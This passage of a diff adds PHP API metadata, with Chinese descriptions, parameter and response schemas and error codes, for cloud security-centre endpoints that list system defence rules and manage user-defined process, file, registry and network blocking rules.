[ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92342', + 'abilityTreeNodes' => [ + 'FEATUREsas2XWKXT', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'RuleName', + 'in' => 'query', + 'schema' => [ + 'description' => '系统规则名称。', + 'type' => 'string', + 'required' => false, + 'example' => '规则****', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'maximum' => '1000', + 'minimum' => '1', + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'maximum' => '1000', + 'minimum' => '10', + 'example' => '20', + ], + ], + [ + 'name' => 'RuleTypes', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '系统规则类型。', + 'type' => 'array', + 'items' => [ + 'description' => '系统规则类型。取值：'."\n" + ."\n" + .'- **1**：alihips，进程防御'."\n" + .'- **2**：alinet，网络防御', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'SystemType', + 'in' => 'query', + 'schema' => [ + 'description' => '操作系统类型。取值：'."\n" + ."\n" + .'- **2**：Windows'."\n" + .'- **1**：Linux'."\n" + .'- **0**：全部', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'AggregationIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '规则聚类ID。', + 'type' => 'array', + 'items' => [ + 'description' => '规则聚类ID。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '38', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'IsContainer', + 'in' => 'query', + 'schema' => [ + 'description' => '是否只查询容器镜像。取值：'."\n" + .'- **0**：否'."\n" + .'- **1**：是', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'C43CA30F-EF67-51BB-8C95-F31B8303****', + ], + 'PageInfo' => [ + 'description' => '查询结果页面的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '17', + ], + ], + ], + 'RuleList' => [ + 'description' => '规则列表。', + 'type' => 'array', + 'items' => [ + 'description' => '规则列表。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '规则状态。取值：'."\n" + ."\n" + .'- **online**：生效'."\n" + .'- **offline**：未生效', + 'type' => 'integer', + 'format' => 'int32', + 'example' => 'online', + ], + 'RuleType' => [ + 'description' => '规则类型。取值：'."\n" + ."\n" + .'- **1**：alihips，进程防御'."\n" + .'- **2**：alinet，网络防御', + 'type' => 'integer', + 'format' => 'int32', + 'example' => 'alihips', + ], + 'Platform' => [ + 'description' => '操作系统类型。取值：'."\n" + ."\n" + .'- **windows**：widows'."\n" + .'- **linux**：linux'."\n" + .'- **all**：全部', + 'type' => 'string', + 'example' => 'linux', + ], + 'SwitchId' => [ + 'description' => '规则对应的开关ID。', + 'type' => 'string', + 'example' => 'USER-ENABLE-SWITCH-TYPE_****', + ], + 'RuleId' => [ + 'description' => '规则id。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '30****', + ], + 'RuleName' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'example' => '规则****', + ], + 'AggregationName' => [ + 'description' => '规则聚类名称。', + 'type' => 'string', + 'example' => '初始入口', + ], + 'Description' => [ + 'description' => '规则的描述信息。', + 'type' => 'string', + 'example' => '支持告警或拦截存在高危漏洞的镜像在集****', + ], + 'Policies' => [ + 'description' => '策略列表。', + 'type' => 'array', + 'items' => [ + 'description' => '策略列表。', + 'type' => 'object', + 'properties' => [ + 'PolicyName' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'example' => '系统自启动任务****', + ], + 'PolicyKey' => [ + 'description' => '策略键。', + 'type' => 'string', + 'example' => 'system_auto_****', + ], + ], + ], + ], + 'SwitchEnable' => [ + 'description' => '当前规则开关是否生效。取值：'."\n" + .'- **true**：生效'."\n" + .'- **false**：不生效', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C43CA30F-EF67-51BB-8C95-F31B8303****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 17\\n },\\n \\"RuleList\\": [\\n {\\n \\"Status\\": 0,\\n \\"RuleType\\": 0,\\n \\"Platform\\": \\"linux\\",\\n \\"SwitchId\\": \\"USER-ENABLE-SWITCH-TYPE_****\\",\\n \\"RuleId\\": 0,\\n \\"RuleName\\": \\"规则****\\",\\n \\"AggregationName\\": \\"初始入口\\",\\n \\"Description\\": \\"支持告警或拦截存在高危漏洞的镜像在集****\\",\\n \\"Policies\\": [\\n {\\n \\"PolicyName\\": \\"系统自启动任务****\\",\\n \\"PolicyKey\\": \\"system_auto_****\\"\\n }\\n ],\\n \\"SwitchEnable\\": true\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询对用户生效的系统规则', + ], + 'ListSystemAggregationRules' => [ + 'summary' => '获取系统规则聚类的详情。', + 'methods' => [ + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '指定请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'RuleName', + 'in' => 'query', + 'schema' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'required' => false, + 'example' => '规则****', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'maximum' => '1000', + 'minimum' => '1', + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'maximum' => '1000', + 'minimum' => '10', + 'example' => '20', + ], + ], + [ + 'name' => 'RuleTypes', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '规则类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '规则类型。取值：'."\n" + ."\n" + .'- **1**：alihips'."\n" + .'- **2**：alinet'."\n" + .'- **3**：alidetect'."\n" + .'- **4**：alisecguard', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'SystemType', + 'in' => 'query', + 'schema' => [ + 'description' => '操作系统类型。取值：'."\n" + ."\n" + .'- **2**：Windows'."\n" + .'- **1**：Linux'."\n" + .'- **0**：全部', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'AggregationIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '规则聚类ID。', + 'type' => 'array', + 'items' => [ + 'description' => '规则聚类ID。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'result', + 'description' => '查询结果。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '6800B790-B10A-5C2F-BEB3-F1D5CE61****', + ], + 'PageInfo' => [ + 'description' => '查询结果的分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + ], + ], + 'AggregationList' => [ + 'description' => '结果列表。', + 'type' => 'array', + 'items' => [ + 'description' => '结果列表。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '规则聚类的ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RuleCount' => [ + 'description' => '该聚类对应的规则数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Name' => [ + 'description' => '规则聚类名称。', + 'type' => 'string', + 'example' => '远程控制****', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IdempotentParameterMismatch', + 'errorMessage' => 'The request uses the same client token as a previous, but non-identical request. Do not reuse a client token with different requests, unless the requests are identical.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6800B790-B10A-5C2F-BEB3-F1D5CE61****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 30\\n },\\n \\"AggregationList\\": [\\n {\\n \\"Id\\": 1,\\n \\"RuleCount\\": 0,\\n \\"Name\\": \\"远程控制****\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取系统规则聚类的详情', + ], + 'ModifyClientUserDefineRule' => [ + 'summary' => '修改恶意行为防御自定义规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '自定义规则ID。'."\n" + ."\n" + .'>调用[ListClientUserDefineRules](~~ListClientUserDefineRules~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '210****', + ], + ], + [ + 'name' => 'Md5List', + 'in' => 'query', + 'allowEmptyValue' => true, + 'schema' => [ + 'description' => '进程hash列表。', + 'type' => 'string', + 'required' => false, + 'example' => 'aa5ee3ed4363c9d195a591a70281****,3e522d6f3bf5cf88bb77e9ff3d13****', + ], + ], + [ + 'name' => 'ActionType', + 'in' => 'query', + 'schema' => [ + 'description' => '操作类型。取值：'."\n" + ."\n" + .'- **0**：加白'."\n" + .'- **1**：加黑', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '0', + ], + ], + [ + 'name' => 'ProcPath', + 'in' => 'query', + 'allowEmptyValue' => true, + 'schema' => [ + 'description' => '进程路径。', + 'type' => 'string', + 'required' => false, + 'example' => '/root/1111/****', + ], + ], + [ + 'name' => 'Cmdline', + 'in' => 'query', + 'allowEmptyValue' => true, + 'schema' => [ + 'description' => '命令行。', + 'type' => 'string', + 'required' => false, + 'example' => '/usr/sbin/s****'."\n", + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '规则类型。取值：'."\n" + ."\n" + .'- **1**：进程hash'."\n" + .'- **2**：命令行'."\n" + .'- **3**：进程网络'."\n" + .'- **4**：文件读写'."\n" + .'- **5**：操作注册表'."\n" + .'- **6**：加载动态链接库'."\n" + .'- **7**：文件重命名', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '2', + ], + ], + [ + 'name' => 'Platform', + 'in' => 'query', + 'schema' => [ + 'description' => '操作系统类型。取值：'."\n" + ."\n" + .'- **windows**：widows'."\n" + .'- **linux**：linux'."\n" + .'- **all**：全部', + 'type' => 'string', + 'required' => false, + 'example' => 'linux', + ], + ], + [ + 'name' => 'IP', + 'in' => 'query', + 'schema' => [ + 'description' => 'IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.1.XX.XX', + ], + ], + [ + 'name' => 'Port', + 'in' => 'query', + 'schema' => [ + 'description' => '端口号，已废弃。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '22', + ], + ], + [ + 'name' => 'FilePath', + 'in' => 'query', + 'schema' => [ + 'description' => '文件路径。', + 'type' => 'string', + 'required' => false, + 'example' => '/etc/pam.d/su****', + ], + ], + [ + 'name' => 'RegistryKey', + 'in' => 'query', + 'schema' => [ + 'description' => '注册表键。', + 'type' => 'string', + 'required' => false, + 'example' => 'HKEY_DYN_****', + ], + ], + [ + 'name' => 'RegistryContent', + 'in' => 'query', + 'schema' => [ + 'description' => '注册表值。', + 'type' => 'string', + 'required' => false, + 'example' => 'SECOH-QAD****', + ], + ], + [ + 'name' => 'NewFilePath', + 'in' => 'query', + 'schema' => [ + 'description' => '文件重命名的新文件路径。', + 'type' => 'string', + 'required' => false, + 'example' => '/etc/pam****', + ], + ], + [ + 'name' => 'ParentProcPath', + 'in' => 'query', + 'schema' => [ + 'description' => '父进程路径。', + 'type' => 'string', + 'required' => false, + 'example' => 'C:/Windows/System32/cmd****', + ], + ], + [ + 'name' => 'ParentCmdline', + 'in' => 'query', + 'schema' => [ + 'description' => '父命令行。', + 'type' => 'string', + 'required' => false, + 'example' => '/usr/sbin/s****', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'required' => false, + 'example' => '规则****', + ], + ], + [ + 'name' => 'PortStr', + 'in' => 'query', + 'schema' => [ + 'description' => '端口号。取值范围：1-65535。', + 'type' => 'string', + 'required' => false, + 'example' => '80', + ], + ], + [ + 'name' => 'Domain', + 'in' => 'query', + 'schema' => [ + 'description' => '域名。', + 'type' => 'string', + 'required' => false, + 'example' => 'example.com', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '5cbb3c39-88ec-429a-be26-5d0f62cc****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'UserDefineRuleFilePathTooLong', + 'errorMessage' => 'User define rule file path too long.', + ], + [ + 'errorCode' => 'InvalidFilePath', + 'errorMessage' => 'Invalid FilePath value.', + ], + [ + 'errorCode' => 'InvalidPort', + 'errorMessage' => 'Invalid PortStr value.', + ], + [ + 'errorCode' => 'InvalidIP', + 'errorMessage' => 'Invalid IP value.', + ], + [ + 'errorCode' => 'UserDefineRuleCmdlineTooLong', + 'errorMessage' => 'User define rule command line too long.', + ], + [ + 'errorCode' => 'InvalidCmdline', + 'errorMessage' => 'Command line is invalid.', + ], + [ + 'errorCode' => 'InvalidUserDefineRuleProcPath', + 'errorMessage' => 'User define rule process path is invalid.', + ], + [ + 'errorCode' => 'UserDefineRuleProcPathMustContainsLetter', + 'errorMessage' => 'User define rule process path must contain letter.', + ], + [ + 'errorCode' => 'InvalidProcPath', + 'errorMessage' => 'Process path is invalid.', + ], + [ + 'errorCode' => 'UserDefineRuleMd5TooMany', + 'errorMessage' => 'Too many user define rule md5s.', + ], + [ + 'errorCode' => 'InvalidUserDefineRuleMd5List', + 'errorMessage' => 'Invalid Md5List value.', + ], + [ + 'errorCode' => 'InvalidUserDefineRuleType', + 'errorMessage' => 'Invalid Type value.', + ], + [ + 'errorCode' => 'UserDefineRuleNameTooLong', + 'errorMessage' => 'User define rule name too long.', + ], + [ + 'errorCode' => 'InvalidUserDefineRuleName', + 'errorMessage' => 'Invalid Name value.', + ], + [ + 'errorCode' => 'InvalidPlatform', + 'errorMessage' => 'Invalid Platform value.', + ], + [ + 'errorCode' => 'InvalidUserDefineRuleActionType', + 'errorMessage' => 'Invalid ActionType value.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"5cbb3c39-88ec-429a-be26-5d0f62cc****\\"\\n}","type":"json"}]', + 'title' => '修改客户端自定义规则', + ], + 'ListClientUserDefineRuleTypes' => [ + 'summary' => '查询支持的自定义规则类型。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '340D7FC4-D575-1661-8ACD-CFA7BE57****', + ], + 'UserDefineRuleTypes' => [ + 'description' => '规则类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '规则类型。取值：'."\n" + ."\n" + .'- **1**：进程hash'."\n" + .'- **2**：命令行'."\n" + .'- **3**：进程网络'."\n" + .'- **4**：文件读写'."\n" + .'- **5**：操作注册表'."\n" + .'- **6**：加载动态链接库'."\n" + .'- **7**：文件重命名', + 'type' => 'string', + 'example' => '1', + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"340D7FC4-D575-1661-8ACD-CFA7BE57****\\",\\n \\"UserDefineRuleTypes\\": [\\n \\"1\\"\\n ]\\n}","type":"json"}]', + 'title' => '获取客户端支持的所有用户自定义类型', + ], + 'GetRulesCount' => [ + 'summary' => '统计系统防御规则和用户定义规则数。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '响应体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578AB****', + ], + 'TotalUserDefineRuleCount' => [ + 'description' => '用户自定义规则总数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10', + ], + 'TotalSystemClientRuleCount' => [ + 'description' => '系统防御规则总数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578AB****\\",\\n \\"TotalUserDefineRuleCount\\": 10,\\n \\"TotalSystemClientRuleCount\\": 10\\n}","type":"json"}]', + 'title' => '统计系统防御规则和用户定义规则数', + ], + 'GetClientUserDefineRule' => [ + 'summary' => '查询恶意行为防御的自定义规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '自定义规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '200****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF4****', + ], + 'UserDefineRuleDetail' => [ + 'description' => '规则详情。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '规则类型。取值：'."\n" + ."\n" + .'- **1**：进程hash'."\n" + .'- **2**：命令行'."\n" + .'- **3**：进程网络'."\n" + .'- **4**：文件读写'."\n" + .'- **5**：操作注册表'."\n" + .'- **6**：加载动态链接库'."\n" + .'- **7**：文件重命名', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ActionType' => [ + 'description' => '操作类型。取值：'."\n" + ."\n" + .'- **0**：加白'."\n" + .'- **1**：加黑', + 'type' => 'string', + 'example' => '0', + ], + 'GmtCreate' => [ + 'description' => '创建时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '167118088****', + ], + 'Md5List' => [ + 'description' => '进程hash列表。', + 'type' => 'string', + 'example' => '0c9045b5bec90f9825f1f3f64dd4****'."\n", + ], + 'GmtModified' => [ + 'description' => '最新一次修改时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '167118088****'."\n", + ], + 'Name' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'example' => '规则****', + ], + 'Id' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '200****', + ], + 'ProcPath' => [ + 'description' => '进程路径。', + 'type' => 'string', + 'example' => 'c:/windows/system32/i****'."\n", + ], + 'Cmdline' => [ + 'description' => '命令行。', + 'type' => 'string', + 'example' => '/usr/sbin/s****'."\n", + ], + 'Platform' => [ + 'description' => '操作系统类型。取值：'."\n" + ."\n" + .'- **linux**'."\n" + .'- **windows**'."\n" + .'- **all**', + 'type' => 'string', + 'example' => 'linux', + ], + 'IP' => [ + 'description' => 'IP地址。', + 'type' => 'string', + 'example' => '10.240.XX.XX'."\n", + ], + 'Port' => [ + 'description' => '端口号。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '22', + ], + 'FilePath' => [ + 'description' => '文件路径。', + 'type' => 'string', + 'example' => '/etc/pam****'."\n", + ], + 'NewFilePath' => [ + 'description' => '文件重命名的新文件路径。', + 'type' => 'string', + 'example' => '/etc/pam****'."\n", + ], + 'RegistryKey' => [ + 'description' => '注册表键。', + 'type' => 'string', + 'example' => 'HKEY_DYN_****'."\n", + ], + 'RegistryContent' => [ + 'description' => '注册表值。', + 'type' => 'string', + 'example' => '*SECOH-QAD.exe*'."\n", + ], + 'ParentProcPath' => [ + 'description' => '父进程路径。', + 'type' => 'string', + 'example' => 'c:/windows/system32/i****'."\n", + ], + 'ParentCmdline' => [ + 'description' => '父命令行。', + 'type' => 'string', + 'example' => '/usr/sbin/s****'."\n", + ], + 'PortStr' => [ + 'description' => '端口号。取值范围：1-65535。', + 'type' => 'string', + 'example' => '80', + ], + 'Domain' => [ + 'description' => '域名。', + 'type' => 'string', + 'example' => 'example.com', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'InvalidId', + 'errorMessage' => 'Invalid ID.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF4****\\",\\n \\"UserDefineRuleDetail\\": {\\n \\"Type\\": 1,\\n \\"ActionType\\": \\"0\\",\\n \\"GmtCreate\\": 0,\\n \\"Md5List\\": \\"0c9045b5bec90f9825f1f3f64dd4****\\\\n\\",\\n \\"GmtModified\\": 0,\\n \\"Name\\": \\"规则****\\",\\n \\"Id\\": 0,\\n \\"ProcPath\\": \\"c:/windows/system32/i****\\\\n\\",\\n \\"Cmdline\\": \\"/usr/sbin/s****\\\\n\\",\\n \\"Platform\\": \\"linux\\",\\n \\"IP\\": \\"10.240.XX.XX\\\\n\\",\\n \\"Port\\": 22,\\n \\"FilePath\\": \\"/etc/pam****\\\\n\\",\\n \\"NewFilePath\\": \\"/etc/pam****\\\\n\\",\\n \\"RegistryKey\\": \\"HKEY_DYN_****\\\\n\\",\\n \\"RegistryContent\\": \\"*SECOH-QAD.exe*\\\\n\\",\\n \\"ParentProcPath\\": \\"c:/windows/system32/i****\\\\n\\",\\n \\"ParentCmdline\\": \\"/usr/sbin/s****\\\\n\\",\\n \\"PortStr\\": \\"80\\",\\n \\"Domain\\": \\"example.com\\"\\n }\\n}","type":"json"}]', + 'title' => '获取客户端用户自定义规则', + ], + 'DeleteClientUserDefineRule' => [ + 'summary' => '删除指定的用户自定义规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'delete', + 'abilityTreeCode' => '91951', + 'abilityTreeNodes' => [ + 'FEATUREsas2XWKXT', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'IdList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '指定要删除的用户登录的规则id列表。', + 'type' => 'array', + 'items' => [ + 'description' => '用户自定义规则ID。'."\n" + ."\n" + .'> 调用[ListClientUserDefineRules](~~ListClientUserDefineRules~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '140****', + ], + 'required' => true, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '4552b59b-18f2-4fad-b6a2-0d59b8f2****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'InvalidId', + 'errorMessage' => 'Invalid ID.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"4552b59b-18f2-4fad-b6a2-0d59b8f2****\\"\\n}","type":"json"}]', + 'title' => '删除用户自定义规则', + ], + 'AddClientUserDefineRule' => [ + 'summary' => '创建用户自定义防御规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '91897', + 'abilityTreeNodes' => [ + 'FEATUREsas2XWKXT', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '自定义规则名称。', + 'type' => 'string', + 'required' => true, + 'example' => '规则1', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '规则类型。取值：'."\n" + ."\n" + .'- **1**：进程hash'."\n" + .'- **2**：命令行'."\n" + .'- **3**：进程网络'."\n" + .'- **4**：文件读写'."\n" + .'- **5**：操作注册表'."\n" + .'- **6**：加载动态链接库'."\n" + .'- **7**：文件重命名'."\n" + .'- **8**：网络域名'."\n" + .'- **9**：网络IP'."\n" + .'- **10**：文件路径', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'Md5List', + 'in' => 'query', + 'allowEmptyValue' => true, + 'schema' => [ + 'description' => '进程hash列表。', + 